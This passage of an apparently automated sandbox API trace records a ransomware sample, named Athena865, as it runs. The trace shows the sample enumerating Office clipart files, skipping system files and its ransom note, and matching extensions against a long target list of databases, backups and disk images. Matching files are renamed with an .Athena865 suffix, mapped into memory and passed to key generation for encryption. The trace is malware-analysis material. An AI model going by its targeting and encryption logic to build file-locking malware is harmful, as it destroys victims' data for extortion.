returned -1 [0130.334] lstrlenW (lpString="gwi") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0130.334] lstrlenW (lpString="hdb") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0130.334] lstrlenW (lpString="his") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0130.334] lstrlenW (lpString="ib") returned 2 [0130.334] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0130.334] lstrlenW (lpString="idb") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0130.334] lstrlenW (lpString="ihx") returned 3 [0130.334] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0130.335] lstrlenW (lpString="itdb") returned 4 [0130.335] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0130.335] lstrlenW (lpString="itw") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0130.335] lstrlenW (lpString="jet") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0130.335] lstrlenW (lpString="jtx") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0130.335] lstrlenW (lpString="kdb") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0130.335] lstrlenW (lpString="kexi") returned 4 [0130.335] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0130.335] lstrlenW (lpString="kexic") returned 5 [0130.335] lstrcmpiW (lpString1="1.WMF", lpString2="kexic") returned -1 [0130.335] lstrlenW (lpString="kexis") returned 5 [0130.335] lstrcmpiW (lpString1="1.WMF", lpString2="kexis") returned -1 [0130.335] lstrlenW (lpString="lgc") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0130.335] lstrlenW (lpString="lwx") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0130.335] lstrlenW (lpString="maf") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0130.335] lstrlenW (lpString="maq") returned 3 [0130.335] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0130.335] lstrlenW (lpString="mar") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0130.336] lstrlenW (lpString="marshal") returned 7 [0130.336] lstrcmpiW (lpString1="371.WMF", lpString2="marshal") returned -1 [0130.336] lstrlenW (lpString="mas") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0130.336] lstrlenW (lpString="mav") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0130.336] lstrlenW (lpString="maw") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0130.336] lstrlenW (lpString="mdbhtml") returned 7 [0130.336] lstrcmpiW (lpString1="371.WMF", lpString2="mdbhtml") returned -1 [0130.336] lstrlenW (lpString="mdn") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0130.336] lstrlenW (lpString="mdt") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0130.336] lstrlenW (lpString="mfd") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0130.336] lstrlenW (lpString="mpd") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0130.336] lstrlenW (lpString="mrg") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0130.336] lstrlenW (lpString="mud") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0130.336] lstrlenW (lpString="mwb") returned 3 [0130.336] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0130.336] lstrlenW (lpString="myd") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0130.337] lstrlenW (lpString="ndf") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0130.337] lstrlenW (lpString="nnt") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0130.337] lstrlenW (lpString="nrmlib") returned 6 [0130.337] lstrcmpiW (lpString1="71.WMF", lpString2="nrmlib") returned -1 [0130.337] lstrlenW (lpString="ns2") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0130.337] lstrlenW (lpString="ns3") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0130.337] lstrlenW (lpString="ns4") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0130.337] lstrlenW (lpString="nsf") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0130.337] lstrlenW (lpString="nv") returned 2 [0130.337] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0130.337] lstrlenW (lpString="nv2") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0130.337] lstrlenW (lpString="nwdb") returned 4 [0130.337] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0130.337] lstrlenW (lpString="nyf") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0130.337] lstrlenW (lpString="odb") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0130.337] lstrlenW (lpString="odb") returned 3 [0130.337] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0130.337] lstrlenW (lpString="oqy") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0130.338] lstrlenW (lpString="ora") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0130.338] lstrlenW (lpString="orx") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0130.338] lstrlenW (lpString="owc") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0130.338] lstrlenW (lpString="p96") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0130.338] lstrlenW (lpString="p97") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0130.338] lstrlenW (lpString="pan") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0130.338] lstrlenW (lpString="pdb") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0130.338] lstrlenW (lpString="pdm") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0130.338] lstrlenW (lpString="pnz") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0130.338] lstrlenW (lpString="qry") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0130.338] lstrlenW (lpString="qvd") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0130.338] lstrlenW (lpString="rbf") returned 3 [0130.338] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0130.338] lstrlenW (lpString="rctd") returned 4 [0130.338] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0130.339] lstrlenW (lpString="rod") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0130.339] lstrlenW (lpString="rodx") returned 4 [0130.339] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0130.339] lstrlenW (lpString="rpd") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0130.339] lstrlenW (lpString="rsd") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0130.339] lstrlenW (lpString="sas7bdat") returned 8 [0130.339] lstrcmpiW (lpString1="4371.WMF", lpString2="sas7bdat") returned -1 [0130.339] lstrlenW (lpString="sbf") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0130.339] lstrlenW (lpString="scx") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0130.339] lstrlenW (lpString="sdb") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0130.339] lstrlenW (lpString="sdc") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0130.339] lstrlenW (lpString="sdf") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0130.339] lstrlenW (lpString="sis") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0130.339] lstrlenW (lpString="spq") returned 3 [0130.339] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0130.339] lstrlenW (lpString="te") returned 2 [0130.339] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0130.340] lstrlenW (lpString="teacher") returned 7 [0130.340] lstrcmpiW (lpString1="371.WMF", lpString2="teacher") returned -1 [0130.340] lstrlenW (lpString="tmd") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0130.340] lstrlenW (lpString="tps") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0130.340] lstrlenW (lpString="trc") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0130.340] lstrlenW (lpString="trc") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0130.340] lstrlenW (lpString="trm") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0130.340] lstrlenW (lpString="udb") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0130.340] lstrlenW (lpString="udl") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0130.340] lstrlenW (lpString="usr") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0130.340] lstrlenW (lpString="v12") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0130.340] lstrlenW (lpString="vis") returned 3 [0130.340] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0130.340] lstrlenW (lpString="vpd") returned 3 [0130.341] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0130.341] lstrlenW (lpString="vvv") returned 3 [0130.341] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0130.341] lstrlenW (lpString="wdb") returned 3 [0130.341] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0130.341] lstrlenW (lpString="wmdb") returned 4 [0130.341] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0130.341] lstrlenW (lpString="wrk") returned 3 [0130.341] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0130.341] lstrlenW (lpString="xdb") returned 3 [0130.341] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0130.341] lstrlenW (lpString="xld") returned 3 [0130.341] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0130.341] lstrlenW (lpString="xmlff") returned 5 [0130.341] lstrcmpiW (lpString1="1.WMF", lpString2="xmlff") returned -1 [0130.341] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.Athena865") returned 73 [0130.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.athena865"), dwFlags=0x1) returned 1 [0130.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.343] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3616) returned 1 [0130.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.344] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.344] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.345] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x154 [0130.346] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0130.347] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.347] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.347] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.348] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.348] CloseHandle (hObject=0x154) returned 1 [0130.348] CloseHandle (hObject=0x17c) returned 1 [0130.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.349] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2=".") returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="..") returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="windows") returned -1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="bootmgr") returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="temp") returned -1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="pagefile.sys") returned -1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="boot") returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="ids.txt") returned 1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="ntuser.dat") returned -1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="perflogs") returned -1 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2="MSBuild") returned -1 [0130.349] lstrlenW (lpString="J0304405.WMF") returned 12 [0130.349] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0304405.WMF" | out: lpString1="J0304405.WMF") returned="J0304405.WMF" [0130.349] lstrlenW (lpString="J0304405.WMF") returned 12 [0130.349] lstrlenW (lpString="Athena865") returned 9 [0130.349] lstrcmpiW (lpString1="04405.WMF", lpString2="Athena865") returned -1 [0130.349] lstrlenW (lpString=".dll") returned 4 [0130.349] lstrcmpiW (lpString1="J0304405.WMF", lpString2=".dll") returned 1 [0130.350] lstrlenW (lpString=".lnk") returned 4 [0130.350] lstrcmpiW (lpString1="J0304405.WMF", lpString2=".lnk") returned 1 [0130.350] lstrlenW (lpString=".ini") returned 4 [0130.350] lstrcmpiW (lpString1="J0304405.WMF", lpString2=".ini") returned 1 [0130.350] lstrlenW (lpString=".sys") returned 4 [0130.350] lstrcmpiW (lpString1="J0304405.WMF", lpString2=".sys") returned 1 [0130.350] lstrlenW (lpString="J0304405.WMF") returned 12 [0130.350] lstrlenW (lpString="bak") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0130.350] lstrlenW (lpString="ba_") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0130.350] lstrlenW (lpString="dbb") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0130.350] lstrlenW (lpString="vmdk") returned 4 [0130.350] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0130.350] lstrlenW (lpString="rar") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0130.350] lstrlenW (lpString="zip") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0130.350] lstrlenW (lpString="tgz") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0130.350] lstrlenW (lpString="vbox") returned 4 [0130.350] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0130.350] lstrlenW (lpString="vdi") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0130.350] lstrlenW (lpString="vhd") returned 3 [0130.350] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0130.351] lstrlenW (lpString="vhdx") returned 4 [0130.351] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0130.351] lstrlenW (lpString="avhd") returned 4 [0130.351] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0130.351] lstrlenW (lpString="db") returned 2 [0130.351] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0130.351] lstrlenW (lpString="db2") returned 3 [0130.351] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0130.351] lstrlenW (lpString="db3") returned 3 [0130.351] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0130.351] lstrlenW (lpString="dbf") returned 3 [0130.351] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0130.351] lstrlenW (lpString="mdf") returned 3 [0130.351] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0130.351] lstrlenW (lpString="mdb") returned 3 [0130.351] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0130.351] lstrlenW (lpString="sql") returned 3 [0130.351] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0130.351] lstrlenW (lpString="sqlite") returned 6 [0130.351] lstrcmpiW (lpString1="05.WMF", lpString2="sqlite") returned -1 [0130.351] lstrlenW (lpString="sqlite3") returned 7 [0130.351] lstrcmpiW (lpString1="405.WMF", lpString2="sqlite3") returned -1 [0130.351] lstrlenW (lpString="sqlitedb") returned 8 [0130.351] lstrcmpiW (lpString1="4405.WMF", lpString2="sqlitedb") returned -1 [0130.351] lstrlenW (lpString="xml") returned 3 [0130.351] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0130.352] lstrlenW (lpString="$er") returned 3 [0130.352] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0130.352] lstrlenW (lpString="4dd") returned 3 [0130.352] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0130.352] lstrlenW (lpString="4dl") returned 3 [0130.352] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0130.352] lstrlenW (lpString="^^^") returned 3 [0130.352] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0130.352] lstrlenW (lpString="abs") returned 3 [0130.352] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0130.352] lstrlenW (lpString="abx") returned 3 [0130.352] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0130.352] lstrlenW (lpString="accdb") returned 5 [0130.352] lstrcmpiW (lpString1="5.WMF", lpString2="accdb") returned -1 [0130.352] lstrlenW (lpString="accdc") returned 5 [0130.352] lstrcmpiW (lpString1="5.WMF", lpString2="accdc") returned -1 [0130.352] lstrlenW (lpString="accde") returned 5 [0130.352] lstrcmpiW (lpString1="5.WMF", lpString2="accde") returned -1 [0130.352] lstrlenW (lpString="accdr") returned 5 [0130.352] lstrcmpiW (lpString1="5.WMF", lpString2="accdr") returned -1 [0130.352] lstrlenW (lpString="accdt") returned 5 [0130.352] lstrcmpiW (lpString1="5.WMF", lpString2="accdt") returned -1 [0130.352] lstrlenW (lpString="accdw") returned 5 [0130.352] lstrcmpiW (lpString1="5.WMF", lpString2="accdw") returned -1 [0130.352] lstrlenW (lpString="accft") returned 5 [0130.352] lstrcmpiW (lpString1="5.WMF", lpString2="accft") returned -1 [0130.353] lstrlenW (lpString="adb") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.353] lstrlenW (lpString="adb") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.353] lstrlenW (lpString="ade") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0130.353] lstrlenW (lpString="adf") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0130.353] lstrlenW (lpString="adn") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0130.353] lstrlenW (lpString="adp") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0130.353] lstrlenW (lpString="alf") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0130.353] lstrlenW (lpString="ask") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0130.353] lstrlenW (lpString="btr") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0130.353] lstrlenW (lpString="cat") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0130.353] lstrlenW (lpString="cdb") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0130.353] lstrlenW (lpString="ckp") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0130.353] lstrlenW (lpString="cma") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0130.353] lstrlenW (lpString="cpd") returned 3 [0130.353] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0130.354] lstrlenW (lpString="dacpac") returned 6 [0130.354] lstrcmpiW (lpString1="05.WMF", lpString2="dacpac") returned -1 [0130.354] lstrlenW (lpString="dad") returned 3 [0130.354] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0130.354] lstrlenW (lpString="dadiagrams") returned 10 [0130.354] lstrcmpiW (lpString1="304405.WMF", lpString2="dadiagrams") returned -1 [0130.354] lstrlenW (lpString="daschema") returned 8 [0130.354] lstrcmpiW (lpString1="4405.WMF", lpString2="daschema") returned -1 [0130.354] lstrlenW (lpString="db-journal") returned 10 [0130.354] lstrcmpiW (lpString1="304405.WMF", lpString2="db-journal") returned -1 [0130.354] lstrlenW (lpString="db-shm") returned 6 [0130.354] lstrcmpiW (lpString1="05.WMF", lpString2="db-shm") returned -1 [0130.354] lstrlenW (lpString="db-wal") returned 6 [0130.354] lstrcmpiW (lpString1="05.WMF", lpString2="db-wal") returned -1 [0130.354] lstrlenW (lpString="dbc") returned 3 [0130.354] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0130.354] lstrlenW (lpString="dbs") returned 3 [0130.354] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0130.354] lstrlenW (lpString="dbt") returned 3 [0130.354] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0130.354] lstrlenW (lpString="dbv") returned 3 [0130.354] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0130.354] lstrlenW (lpString="dbx") returned 3 [0130.354] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0130.354] lstrlenW (lpString="dcb") returned 3 [0130.354] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0130.355] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0130.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.Athena865") returned 73 [0130.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.athena865"), dwFlags=0x1) returned 1 [0130.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.357] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4158) returned 1 [0130.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.357] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.358] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.358] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.358] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1340, lpName=0x0) returned 0x154 [0130.360] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1340) returned 0x100000 [0130.360] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.361] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.361] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 